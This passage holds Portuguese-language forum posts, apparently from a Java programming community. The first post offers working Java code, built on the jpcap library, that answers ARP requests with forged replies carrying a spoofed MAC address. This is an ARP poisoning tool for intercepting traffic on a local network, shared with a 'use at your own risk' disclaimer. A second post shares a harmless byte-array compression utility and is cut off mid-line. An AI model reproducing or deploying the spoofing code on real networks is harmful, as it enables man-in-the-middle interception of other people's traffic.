Pessoal,Gostaria de compartilhar com vcs uma coisa que ME GUSTA MUCHO !Eu sei que mta gente vai me criticar falando que java + rede = nao e bla bla bla e bla!To preocupadissimo com isso ! HUEHUaHeeEntao, chama-se arp poison, quem nao sabe o que e vai ai o link : http://www.vivaolinux.com.br/artigo/ARP-Poisoning-compreenda-os-principios-e-defendase , e ai implementei algo em java usando uma lib mto conhecida pelo pessoal que gosta de linux chamada PCap, vai o link do jar : http://sourceforge.net/projects/jpcap/Espero que gostem ! import jpcap.JpcapCaptor; import jpcap.JpcapSender; import jpcap.packet.ARPPacket; import jpcap.packet.EthernetPacket; public class Arp { private static void arpPoisonTarget1(JpcapCaptor captor, byte[] mac) { JpcapSender sender; ARPPacket p; ARPPacket arp; EthernetPacket ether; while (true) { // recebe o arp e le p = (ARPPacket) captor.getPacket(); if (p != null && p.operation == 1) { System.out.println(p.toString()); // source mac - adress spoofing byte[] mac_fake = new byte[] { (byte) 254, (byte) 253, (byte) 252, (byte) 240, (byte) 9, (byte) 40 }; // byte[] mac_fake = mac; byte[] scrip = p.target_protoaddr; byte[] mac_destination = new byte[] { (byte) 0, (byte) 22, (byte) 200, (byte) 130, (byte) 123, (byte) 43 }; // pega o mac de destino do pacote recebido byte[] destip = p.sender_protoaddr; // cria um pacote de resposta arp = new ARPPacket(); // parametros do arp ARP arp.hardtype = ARPPacket.HARDTYPE_ETHER; arp.prototype = ARPPacket.PROTOTYPE_IP; arp.operation = ARPPacket.ARP_REPLY; arp.hlen = 6; arp.plen = 4; arp.sender_hardaddr = mac_fake; arp.sender_protoaddr = scrip; arp.target_hardaddr = mac_destination; arp.target_protoaddr = destip; // Ethernetpakket ether = new EthernetPacket(); ether.frametype = EthernetPacket.ETHERTYPE_ARP; ether.src_mac = mac; ether.dst_mac = mac_destination; arp.datalink = ether; // mandando ! sender = captor.getJpcapSenderInstance(); sender.sendPacket(arp); } } } } Detalhe : NAO QUERO SABER O QUE VOCE FEZ COM O CODIGO, OU SEJA, ESTA POR SUA CONTA EM RISCO AMIGUINHO!E isso.Abracos aos que fo da familia ! Pessoal,Gostaria de compartilhar um codigo que implementei, sao algumas funcoes para zipar arrays de byte, ou seja, zipa file, zipa byte[] e etc... Segue o codigo do ZipUtil : import java.io.*; import java.util.*; import java.util.zip.*; import java.nio.channels.*; import java.nio.*; public class ZipUtil { public static byte[] compressByteArray(byte[] input) throws Exception { Deflater compressor = new Deflater(); compressor.setLevel(Deflater.BEST_COMPRESSION); compressor.setInput(input); compressor.finish(); ByteArrayOutputStream bos = new ByteArrayOutputStream(input.length); byte[] buf = new byte[1024]; while (!compressor.finished()) { int count = compressor.deflate(buf); bos.write(buf, 0, count); } try { bos.close(); } catch (IOException e) { } byte[] compressedData = bos.toByteArray(); return compressedData; } public static byte[] uncompressByteArray(byte[] compressedData) throws Exception { Inflater decompressor = new Inflater(); decompressor.setInput(compressedData); ByteArrayOutputStream bos = new ByteArrayOutputStream(compressedData.length); byte[] buf = new byte[1024]; while (!decompressor.finished()) { try { int count = decompressor.inflate(buf); bos.write(buf, 0, count); } catch (DataFormatException e) { } } try { bos.close(); } catch (IOException e) { } byte[] decompressedData = bos.toByteArray(); return decompressedData; } public static void main(String args[]) { try { System.out.println("ZipUtil starting."); FileInputStream fis = new FileInputStream("c:\\temp\\test.txt"); FileChannel fc = fis.getChannel(); byte[] data = new byte[(int) fc.size()]; ByteBuffer bb = ByteBuffer.wrap(data); fc.read(bb); System.out.println("Uncompressed Byte Array Size: "+data.length); //Compress the byte array byte [] compressedData = ZipUtil.compressByteArray(data); System.out.println("Compressed Byte Array Size: "+compressedData.length); //uncompress the byte array byte [] uncompressedData = ZipUtil.uncompressByteArray(compressedData); System.out.println("Uncompressed